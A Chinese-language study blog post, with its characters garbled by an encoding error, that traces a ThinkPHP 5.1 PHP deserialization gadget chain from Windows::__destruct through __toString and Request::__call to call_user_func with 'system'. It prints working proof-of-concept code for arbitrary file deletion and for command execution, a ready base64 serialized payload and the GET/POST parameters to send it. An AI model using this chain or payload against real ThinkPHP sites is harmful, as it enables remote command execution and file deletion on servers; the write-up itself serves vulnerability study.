[php]-Tp5.1反序列化学习
ThinkPhp5.1反序列化
咕咕咕
Tp5.1鏈接
Tp5.1手冊(cè)
利用compoer運(yùn)行 composer
composer create-project topthink/think=5.1.* tp啟動(dòng)服務(wù)
cd tp php think run訪問
127.0.0.1:8080URL解析模式
http://localhost/index.php/模塊/控制器/操作/參數(shù)/值訪問
http://localhost:8000/index/index/hello/name/Muz1反序列化鏈分析
發(fā)序列化鏈?zhǔn)菑?__destruct() 開始
跟進(jìn) /thinkphp/library/think/process/pipes/Windows.php
public function __destruct() {$this->close();$this->removeFiles(); }跟進(jìn) close() ,沒東西, 跟進(jìn) removeFiles()
private function removeFiles() {foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = []; }這里 $this->files ,@unlink 可以刪除文件
poc:
這里是刪除 F:/test.txt
<?php namespace think\process\pipes; class Pipes{} class Windows extends Pipes{private $files = [];public function __construct(){$this->files=['F:\\test.txt'];} } echo base64_encode(serialize(new Windows()));然后執(zhí)行到 file_exists($filename), file_exists 將 $filename 當(dāng)字符串然后觸發(fā) __toString 方法,
在 \thinkphp\library\think\model\concern\Conversion.php
public function __toString() {return $this->toJson(); }跟進(jìn) toJson()
public function toJson($options = JSON_UNESCAPED_UNICODE) {return json_encode($this->toArray(), $options); }有個(gè)toArray()方法
public function toArray() {...if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加關(guān)聯(lián)對(duì)象屬性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);}}...這里的$this->append可控,所以$key和$name也可控,最后會(huì)調(diào)用 $relation->visible($name);所以如果$relation可控的話就可以通過調(diào)用不可訪問的方法觸發(fā)__call()
跟進(jìn)一下getRelation()
public function getRelation($name = null) {if (is_null($name)) {return $this->relation;} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}return; }array_key_exists() 函數(shù)檢查某個(gè)數(shù)組中是否存在指定的鍵名,繞過if/else判斷,返回值為空,進(jìn)行(!$relation)
然后 getAttr() 方法
public function getAttr($name, &$item = null) {try {$notFound = false;$value = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value = null;}...return $value; }跟進(jìn) getData()
public function getData($name = null) {if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];} elseif (array_key_exists($name, $this->relation)) {return $this->relation[$name];}throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }可以回頭看一下 $name值,$relation = $this->getAttr($key);
調(diào)用getAttr()時(shí)將$this->append的key傳給形參$name,之后再調(diào)用$getData($name),將剛才的$name傳入,
所以這里的$name也就是$this->append的key,
而這里的第一個(gè)elseif處的$this-$data又可控,所以最終的$relation相當(dāng)于$relation=$this->data[$key],
$relation和$name都可控,就可以通過 $relation->visible($name);觸發(fā)__call()了
因?yàn)?__toString()是 Conversion.php的,getAttr()等是Attribute.php的,所以找一個(gè)類同時(shí)包含這倆
\thinkphp\library\think\Model.php
abstract class Model implements \JsonSerializable, \ArrayAccess {use model\concern\Attribute;use model\concern\RelationShip;use model\concern\ModelEvent;use model\concern\TimeStamp;use model\concern\Conversion;因?yàn)檫@是個(gè)抽象類abstract(),不能被 new ,需要找一個(gè)子類
\thinkphp\library\think\model\Pivot.php
找到實(shí)現(xiàn)類之后,找__call() , call_user_func..
找到\thinkphp\library\think\Request.php
public function __call($method, $args) {if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}throw new Exception('method not exists:' . static::class . '->' . $method); }但是不能直接利用 call_user_func_array執(zhí)行 system,這里$method是visible,$args是之前的$name可控,但是有這行代碼:array_unshift($args, $this) 把 $this 插到了 $args 的最前面,使得 system 的第一個(gè)參數(shù)不可控,沒法直接 system 。因此想辦法回調(diào)thinkphp中的方法,而且經(jīng)過一系列構(gòu)造,最終命令執(zhí)行中的參數(shù)和這里的 $args 無關(guān)。
private function filterValue(&$value, $key, $filters) {$default = array_pop($filters);foreach ($filters as $filter) {if (is_callable($filter)) {// 調(diào)用函數(shù)或者方法過濾$value = call_user_func($filter, $value);......................
這里有個(gè)call_user_func($filter, $value);但參數(shù)不可控仍然無法命令執(zhí)行,但可以通過本類中的input()方法來控制參數(shù)
public function input($data = [], $name = '', $default = null, $filter = '') {if (false === $name) {// 獲取原始數(shù)據(jù)return $data;}$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}$data = $this->getData($data, $name);if (is_null($data)) {return $default;}if (is_object($data)) {return $data;}}// 解析過濾器$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);if (version_compare(PHP_VERSION, '7.1.0', '<')) {// 恢復(fù)PHP版本低于 7.1 時(shí) array_walk_recursive 中消耗的內(nèi)部指針$this->arrayReset($data);}} else {$this->filterValue($data, $name, $filter);}if (isset($type) && $data !== $default) {// 強(qiáng)制類型轉(zhuǎn)換$this->typeCast($data, $type);}return $data; }可以看到這三行代碼,通過getFilter()方法控制$filter,通過array_walk_recursive()回溯調(diào)用剛剛的filterValue()方法
$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);跟進(jìn)getFilter()
protected function getFilter($filter, $default) {if (is_null($filter)) {$filter = [];} else {$filter = $filter ?: $this->filter;if (is_string($filter) && false === strpos($filter, '/')) {$filter = explode(',', $filter);} else {$filter = (array) $filter;}}$filter[] = $default;return $filter; }$filter = $filter ?: $this->filter;很明顯filter可控了,再看另一個(gè)參數(shù)$data,如果$data可控,而且$name為空字符串的話,input函數(shù)中前面的那些代碼if條件就不成立,不構(gòu)成影響。
param()函數(shù)中存在調(diào)用 input()
public function param($name = '', $default = null, $filter = '') {if (!$this->mergeParam) {$method = $this->method(true);// 自動(dòng)獲取請(qǐng)求變量switch ($method) {case 'POST':$vars = $this->post(false);break;case 'PUT':case 'DELETE':case 'PATCH':$vars = $this->put(false);break;default:$vars = [];}// 當(dāng)前請(qǐng)求參數(shù)和URL地址中的參數(shù)合并$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->mergeParam = true;}if (true === $name) {// 獲取包含文件上傳信息的數(shù)組$file = $this->file();$data = is_array($file) ? array_merge($this->param, $file) : $this->param;return $this->input($data, '', $default, $filter);}return $this->input($this->param, $name, $default, $filter); }可以看到最后一行調(diào)用input,并且第一個(gè)參數(shù)的值$this->param可控,控制點(diǎn)在上方
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));$this->param是由本來的$this->param,還有請(qǐng)求參數(shù)和URL地址中的參數(shù)合并。
但考慮到調(diào)用的函數(shù)是array_walk_recursive,數(shù)組中的每個(gè)成員都被回調(diào)函數(shù)調(diào)用,因此其實(shí)直接構(gòu)造$this->param也是可以的,但是考慮到可以動(dòng)態(tài)命令執(zhí)行,因此就不構(gòu)造$this->param了,而是把要執(zhí)行的命令寫在get參數(shù)里即第二個(gè)參數(shù)($this->get(false))。
最后就剩下最后一個(gè)問題了,就是何處調(diào)用了param(),并且調(diào)用時(shí)$name為空,經(jīng)過尋找找到了isAjax()
public function isAjax($ajax = false) {$value = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result; }調(diào)用位置
$result = $this->param($this->config['var_ajax']) ? true : $result;$this->config['var_ajax']是配置文件中的值,只需要讓他為空,那么他在調(diào)用$this->param時(shí),默認(rèn)的第一個(gè)參數(shù)$name就為空,之后再調(diào)用input時(shí)傳入的$name就為空,從而繞過了input函數(shù)中的if判斷,至此整條鏈就結(jié)束了,簡(jiǎn)單的回顧下。
__call()方法調(diào)用return call_user_func_array($this->hook[$method], $args);,讓$this->hook[$method]的值為isAjax就調(diào)用了isAjax()函數(shù),函數(shù)中$this->param($this->config[‘var_ajax’]) ? true : $result;調(diào)用了param()函數(shù),param()的最后一行調(diào)用了input()方法,input()中調(diào)用array_walk_recursive回調(diào)調(diào)用filterValue()函數(shù),該函數(shù)中$value = call_user_func($filter, $value);進(jìn)行了命令執(zhí)行,并通過最后的return返回public/index.php加上如下兩句作為入口
然后構(gòu)造POC:
<?php namespace think; abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["Muz1"=>["hello"]];$this->data = ["Muz1"=>new Request()];} } class Request {protected $hook = [];protected $filter = "system";protected $config = [// 表單請(qǐng)求類型偽裝變量'var_method' => '_method',// 表單ajax偽裝變量'var_ajax' => '_ajax',// 表單pjax偽裝變量'var_pjax' => '_pjax',// PATHINFO變量名 用于兼容模式'var_pathinfo' => 's',// 兼容PATH_INFO獲取'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默認(rèn)全局過濾方法 用逗號(hào)分隔多個(gè)'default_filter' => '',// 域名根,如thinkphp.cn'url_domain_root' => '',// HTTPS代理標(biāo)識(shí)'https_agent_name' => '',// IP代理獲取標(biāo)識(shí)'http_agent_ip' => 'HTTP_X_REAL_IP',// URL偽靜態(tài)后綴'url_html_suffix' => 'html',];function __construct(){$this->filter = "system";$this->config = ["var_ajax"=>''];$this->hook = ["visible"=>[$this,"isAjax"]];} } namespace think\process\pipes;use think\model\concern\Conversion; use think\model\Pivot; class Windows {private $files = [];public function __construct(){$this->files=[new Pivot()];} } namespace think\model;use think\Model;class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?>傳參:
GET: ?Muz1=calc POST: key=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJNdXoxIjthOjE6e2k6MDtzOjU6ImhlbGxvIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiTXV6MSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=然后會(huì)彈出計(jì)算器,這里沒彈出來 不明白哪的原因‘
參考
https://blog.csdn.net/weixin_54902210/article/details/124874209?spm=1001.2014.3001.5502
總結(jié)
以上是生活随笔為你收集整理的[php]-Tp5.1反序列化学习的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 《资本之王》书中的精髓:黑石公司是如何成
- 下一篇: 动态规划算法php,php算法学习之动态